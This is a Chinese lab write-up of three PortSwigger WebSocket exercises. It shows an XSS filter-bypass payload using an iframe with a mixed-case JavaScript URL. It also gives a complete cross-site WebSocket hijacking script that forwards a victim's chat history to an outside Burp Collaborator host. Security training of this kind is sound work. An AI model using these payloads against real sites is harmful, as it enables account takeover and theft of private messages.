Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets
Lab: Manipulating WebSocket messages to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能 - 你提交的聊天消息会被辅助客户端实时查看
- 在线商城有一个用
- 要求
- 使用
WebScoket消息触发alert()
- 使用
- 解题步骤
- 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
- 在WebSockets history中把发送信息的请求包发送到Repeater
- 把消息内容修改为xss payload
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能 - 它有一个主动但是存在缺陷的XSS过滤器
- 在线商城有一个用
- 要求
- 使用
WebScoket消息触发alert()
- 使用
- 解题过程
- 测一下过滤了些啥:(连接失败后,利用
X-Forwarded-For伪造IP重置连接即可)- 过滤了n多标签,iframe可用
- 过滤了
() - 过滤了
onxxxx事件 - 过滤了
javascript
- 最后的payload和solution一样
<iframe src='JavAsCript:alert`1`'>
- 测一下过滤了些啥:(连接失败后,利用
Lab: Cross-site WebSocket hijacking
题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能
- 在线商城有一个用
要求
- 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
解题过程
websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据
脚本参考solution,没有考虑到
onopen事件的处理<script>
websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
websocket.onopen = function start(event) {
websocket.send("READY");
}
websocket.onmessage = function handleReply(event) {
fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
} </script>
Portswigger web security academy:WebSockets的更多相关文章
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- FreeBSD 12.2 已经发布 从现有版本更新到12
#freebsd-update -r 12.2-RELEASE upgrade 如果提示更新第三方软件后,再执行freebsd-update install , 请输入 #pkg update &am ...
- 三分钟教你提升应用推送的ROI
推送是App应用性价比最高也是最直接的营销运营手段,其细节颇多,非常考验运营人员的功力,本文将从ROI角度来分析怎么提升营销类推送的收益.(非IM类.系统类等功能服务型推送) 以一个日活100万的应用 ...
- 在swoole中制作一款仿制laravel的框架
首先需要确定一下思路:我希望基于swoole的扩展开发的代码在run起来的时候,在接收到ws或是tcp等消息时,自动路由到某个类上,同时类可以实现加载类的依赖注入功能.目前市面上占据主流的一款框架La ...
- Android | 玩转AppBarLayout,设置scrollFlags滑动属性详解
CoordinatorLayout与AppBarLayout的配合使用,在之前的文章中我们也经常使用,主要是专门用来打造各种炫酷的效果. 有童鞋看了之前的文章反馈对AppBarLayout中的scro ...
- 【JVM进阶之路】一:Java虚拟机概览
1.Java简史 Java语言是一门通用的.面向对象的.支持并发的程序语言.全球从事Java相关开发的人员已经数以百万计. 从1995年"Java"正式出现以来,Java已经经历了 ...
- wrf模拟的domain图绘制
wrf模拟的区域绘制,domain图,利用python的cartopy库绘制模拟区域 参考Liang Chen的draw_wrf_domian.py这个代码, 出处python画wrf模式的模拟区域 ...
- dll注入与代码注入
学习<逆向工程核心原理>,在x64下dll注入与代码注入. dll注入主要用到CreateRemoteThread, HANDLE WINAPI CreateRemoteThread( _ ...
- 【Azure 应用服务】App Service 在使用GIt本地部署,上传代码的路径为/home/site/repository,而不是站点的根目录/home/site/wwwroot。 这个是因为什么?
问题描述 App Service 在使用GIt本地部署,上传代码的路径为/home/site/repository,而不是站点的根目录/home/site/wwwroot. 这个是因为什么? 并且通过 ...
- 如何配置Nginx,实现http访问重定向到https?
现在越来越多的网站,当我们输入域名时,会自动重定向到https,我们只需要简单修改下Nginx配置文件/usr/local/nginx/conf/nginx.conf(根据个人的实际存储路径)即可. ...
- K8S 本地 配置 Local PV 实践
上面我们创建了后端是 hostPath 类型的 PV 资源对象,我们也提到了,使用 hostPath 有一个局限性就是,我们的 Pod 不能随便漂移,需要固定到一个节点上,因为一旦漂移到其他节点上去了 ...